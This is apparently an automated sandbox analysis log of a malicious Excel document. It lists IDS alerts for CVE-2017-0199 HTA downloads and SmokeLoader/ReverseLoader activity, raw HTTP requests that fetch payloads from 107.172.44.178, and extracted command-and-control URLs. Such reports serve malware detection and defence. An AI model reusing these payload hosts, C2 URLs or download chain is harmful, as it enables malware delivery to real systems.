Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.44.178:80
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 107.172.44.178:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.44.178:80

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2858795 - Severity 1 - ETPRO MALWARE ReverseLoader Payload Request (GET) M2 : 192.168.2.22:49165 -> 107.172.44.178:80
Source: Network traffic	Suricata IDS: 2024197 - Severity 1 - ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199) : 107.172.44.178:80 -> 192.168.2.22:49162
Source: Network traffic	Suricata IDS: 2024197 - Severity 1 - ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199) : 107.172.44.178:80 -> 192.168.2.22:49164
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.22:49175 -> 46.173.214.24:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.22:49176 -> 46.173.214.24:80
Source: Network traffic	Suricata IDS: 2049038 - Severity 1 - ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2 : 142.215.209.78:443 -> 192.168.2.22:49166
Source: Network traffic	Suricata IDS: 2049038 - Severity 1 - ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2 : 142.215.209.78:443 -> 192.168.2.22:49173

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\explorer.exe	Network Connect: 46.173.214.24 80
Source: C:\Windows\SysWOW64\explorer.exe	Domain query: prolinice.ga

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://prolinice.ga/index.php
Source: Malware configuration extractor	URLs: http://vilendar.ga/index.php

Source: global traffic	HTTP traffic detected: GET /api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f HTTP/1.1Host: 1017.filemail.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f HTTP/1.1Host: 1017.filemail.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /53/WRFFRGT.txt HTTP/1.1Host: 107.172.44.178Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /53/WRFFRGT.txt HTTP/1.1Host: 107.172.44.178Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 142.215.209.78 142.215.209.78
Source: Joe Sandbox View	IP Address: 5.45.108.48 5.45.108.48

Source: Joe Sandbox View	ASN Name: GARANT-PARK-INTERNETRU GARANT-PARK-INTERNETRU
Source: Joe Sandbox View	ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS

Source: Joe Sandbox View	JA3 fingerprint: 05af1f5ca1b87cc9cc9b25185115607d
Source: Joe Sandbox View	JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b

Source: Network traffic	Suricata IDS: 2024449 - Severity 1 - ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl : 192.168.2.22:49162 -> 107.172.44.178:80
Source: Network traffic	Suricata IDS: 2024449 - Severity 1 - ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl : 192.168.2.22:49171 -> 107.172.44.178:80
Source: Network traffic	Suricata IDS: 2024449 - Severity 1 - ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl : 192.168.2.22:49164 -> 107.172.44.178:80
Source: Network traffic	Suricata IDS: 2829848 - Severity 2 - ETPRO MALWARE SmokeLoader encrypted module (3) : 46.173.214.24:80 -> 192.168.2.22:49175

Source: global traffic	HTTP traffic detected: GET /bUPKfu?&sari=acoustic&flat=red&crown=important&nurture=aboriginal&helen HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: link.uebie.deConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bUPKfu?&sari=acoustic&flat=red&crown=important&nurture=aboriginal&helen HTTP/1.1Accept: /Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: link.uebie.deConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bUPKfu?&sari=acoustic&flat=red&crown=important&nurture=aboriginal&helen HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: link.uebie.deConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bUPKfu?&sari=acoustic&flat=red&crown=important&nurture=aboriginal&helen HTTP/1.1Accept: /Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: link.uebie.deConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /53/cg/bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat.hta HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 107.172.44.178Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /53/cg/bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat.hta HTTP/1.1Accept: /Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Range: bytes=8896-Connection: Keep-AliveHost: 107.172.44.178If-Range: "2c929-6272622c7ca10"
Source: global traffic	HTTP traffic detected: GET /53/seemybestnetworkwhichgivebestthingsentirelifewithme.tIF HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 107.172.44.178Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /53/cg/bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat.hta HTTP/1.1Accept: /Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)If-Modified-Since: Mon, 18 Nov 2024 01:50:06 GMTConnection: Keep-AliveHost: 107.172.44.178If-None-Match: "2c929-6272622c7ca10"
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ashjidrdhauflvyw.net/User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 275Host: prolinice.ga
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://prolinice.ga/User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 1395Host: prolinice.ga

Source: unknown	HTTPS traffic detected: 142.215.209.78:443 -> 192.168.2.22:49166 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 142.215.209.78:443 -> 192.168.2.22:49173 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.178
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.178
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.178
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.178
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.178
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.178
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.178
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.178
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.178
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.178
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.178
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.178
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.178
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.178
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.178
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.178
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.178
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.178
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.178
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.178
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.178
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.178
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.178
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.178
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.178
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.178
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.178
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.178
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.178
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.178
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.178
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.178
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.178
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.178
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.178
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.178
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.178
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.178
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.178
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.178
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.178
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.178
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.178
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.178
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.178
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.178
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.178
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.178
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.178
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.178

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 6_2_000007FE899D4B18 URLDownloadToFileW,

6_2_000007FE899D4B18

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\1023728.emf

Jump to behavior

Source: global traffic	HTTP traffic detected: GET /bUPKfu?&sari=acoustic&flat=red&crown=important&nurture=aboriginal&helen HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: link.uebie.deConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bUPKfu?&sari=acoustic&flat=red&crown=important&nurture=aboriginal&helen HTTP/1.1Accept: /Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: link.uebie.deConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f HTTP/1.1Host: 1017.filemail.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bUPKfu?&sari=acoustic&flat=red&crown=important&nurture=aboriginal&helen HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: link.uebie.deConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bUPKfu?&sari=acoustic&flat=red&crown=important&nurture=aboriginal&helen HTTP/1.1Accept: /Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: link.uebie.deConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f HTTP/1.1Host: 1017.filemail.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /53/cg/bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat.hta HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 107.172.44.178Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /53/cg/bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat.hta HTTP/1.1Accept: /Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Range: bytes=8896-Connection: Keep-AliveHost: 107.172.44.178If-Range: "2c929-6272622c7ca10"
Source: global traffic	HTTP traffic detected: GET /53/seemybestnetworkwhichgivebestthingsentirelifewithme.tIF HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 107.172.44.178Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /53/cg/bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat.hta HTTP/1.1Accept: /Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)If-Modified-Since: Mon, 18 Nov 2024 01:50:06 GMTConnection: Keep-AliveHost: 107.172.44.178If-None-Match: "2c929-6272622c7ca10"
Source: global traffic	HTTP traffic detected: GET /53/WRFFRGT.txt HTTP/1.1Host: 107.172.44.178Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /53/WRFFRGT.txt HTTP/1.1Host: 107.172.44.178Connection: Keep-Alive

Source: mshta.exe, 00000005.00000003.424134255.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.422979100.0000000003252000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.426654460.0000000003253000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: global traffic	DNS traffic detected: DNS query: link.uebie.de
Source: global traffic	DNS traffic detected: DNS query: 1017.filemail.com
Source: global traffic	DNS traffic detected: DNS query: prolinice.ga

Source: unknown

HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://ashjidrdhauflvyw.net/User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 275Host: prolinice.ga

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 18 Nov 2024 17:22:42 GMTServer: Apache/2.4.59 (Debian)Connection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=utf-8Data Raw: 35 32 64 35 33 0d 0a 84 00 00 00 a0 5f e8 0a 27 e8 d3 d3 81 21 79 b3 53 e5 35 0b ec 13 ad 26 4d 93 dc e5 25 0a ed e2 44 4a 3b 47 a5 77 e3 2c 25 29 67 7b b4 1d 52 9a 46 7a 54 8c 7e 72 ec d5 7e f4 44 cf b3 6b eb a7 41 63 d4 4a be ec 6e e8 4b 42 15 65 fa 28 3b 12 b5 17 01 51 60 01 78 3a 91 7f 32 8b 47 78 ce d5 ea f0 7b d0 1e 45 fe 16 dc 84 fa d9 be 93 bd db 4a 1d 9f ac 79 dd 2f b5 84 79 6d 21 b3 90 51 dc c2 a5 14 5d bd 12 b6 4b 00 ca 2c 05 00 7c e1 f7 57 09 03 02 00 09 00 9e 03 00 00 53 1f 7d 22 77 32 62 71 76 3f 4f 55 52 12 42 00 c9 32 ee 68 fe 0f ca 76 74 07 d6 d6 f9 b8 92 29 e8 55 92 92 3e c8 50 dd 24 a4 99 ce 5c 90 b9 3b fc 51 49 c0 0d f0 19 d3 e9 92 2a 7a f7 09 00 bb 7a b8 01 84 b7 a3 64 8b 0b f3 9f 79 57 fa 26 ce 46 fb 76 8c c7 a7 e0 22 d1 2d c9 1e 43 c3 ef c1 4c dd a0 af 3d b8 a8 a5 fb c0 70 8e 98 0e df 4b cc 40 42 f2 70 5e a2 6b 51 b2 9f 66 73 fe c7 15 ac cd f6 9d 88 6a 44 07 1e 8d 8b 6b 24 18 2b 4b 2a ec 81 b7 50 50 a4 4e ad cf 32 5c c0 15 b4 57 90 1b 0d ee 6c f7 54 23 c9 ed 8e bc 36 a0 b4 7a c0 a1 84 b8 ba d4 a3 62 52 1c ae d9 4b 5a 18 a9 1c db 20 3a d0 44 3f 55 06 6b bf 4b 63 27 f1 ac 4f fe d1 04 8b 3f ba 91 69 f9 fb 81 fe 97 af cd a6 40 69 e9 33 b2 a6 45 cc f6 83 0e 7c 20 5b 7d 1d a4 53 32 fe 9d cc 54 71 e4 4c 20 4c b2 37 b3 8e 0f 1b d8 40 78 f3 c6 c7 84 1a aa 21 d4 fa 17 f2 46 ab 2a 9b db a1 fa 45 c5 f8 a8 f5 78 d7 7b c7 34 f8 40 a6 ce 9e 68 07 d1 3b db 70 67 ae de de 5f 1b 81 d3 b1 e8 be 06 9b bd 51 aa 40 d1 5b 4e 04 32 d7 97 2a e0 96 cc f3 08 be 06 f4 ef f1 48 d0 25 d9 73 3b 22 c7 0f b5 72 bf c3 e5 81 32 31 c9 f4 a1 4c ee 90 56 05 52 a9 1c 76 6f 99 dc ff 39 62 09 4e 0e 7c a8 50 2c 99 64 73 2c f8 8e 19 ec 5e 4c 2b 1b 6a 20 6d e3 2e 26 3e f2 ee 67 21 84 c5 3d 2f 72 90 3a ea 6c 5f b3 01 1d 55 2a 97 6b 1b 48 d7 18 d0 92 ef 20 3e 28 8e b6 b7 0f 4f c2 e3 41 ee a3 e2 e5 4f 7c 04 cf 84 8c 71 e5 91 3b ef 9c 40 2b b4 81 b3 6f 0c e5 ea f4 a9 02 25 53 be 6e 6e 71 ce db f8 20 6e 55 5b a4 66 26 ed 43 1b d2 35 1a 47 54 5d 20 0c 1b 03 8a 54 94 fb f1 d9 5d 91 01 a9 f6 90 b3 3e c6 10 cc 67 ca 7b 76 0b 97 06 5b d8 d2 e2 0f 79 af ed 1b 53 92 e1 e9 cc 7a b6 b9 98 42 38 a5 00 49 58 88 86 83 3c a1 5c d3 72 7d ad bc 8d 80 b4 ea 85 32 d9 b9 33 ce ae d5 90 f4 bb 3a c9 3d 3b 48 a7 e3 58 dd be d0 8a aa 01 3e 48 f4 19 2b 95 d5 65 ff b4 78 a1 d2 cd 69 0a 91 f7 6a 18 3d 4f 75 b1 bc 1b b1 60 c8 27 8c 70 db 33 0d a6 f2 ed 80 8d aa 7c 4a 8c 59 8c 3d 99 a9 52 09 0f d9 5e 58 eb 6f 11 c9 5b 23 0e a9 04 11 b7 a5 6b eb 6e 85 01 89 5e cf 54 06 96 02 2d c3 92 6c 61 40 ee 39 ff fa 3e 0d c6 24 8f 1c 02 ac 7a ab 13 d0 be a8 cb 90 7c 6b d5 fb ae 58 ee db 76 10 36 cb d3 c0 5d 0e e0 08 4f 38 94 52 92 70 bf 7c bd c4 0d 6f f9 74 7a 41 a6 59 ea 90 d6 8f 1b 32 75 08 c5 9a 2d a0 6a 8b fd 6b c4 c2 37 35 48 bd 8c 96 77 e4 62 45 8d 49 72 d0 11 c5 42 47 60 cf 79 cc d5 44 76 86 c6 57 e5 fc f1 b9 98 00 52
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 18 Nov 2024 17:22:58 GMTServer: Apache/2.4.59 (Debian)Content-Length: 409Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 39 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 70 72 6f 6c 69 6e 69 63 65 2e 67 61 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 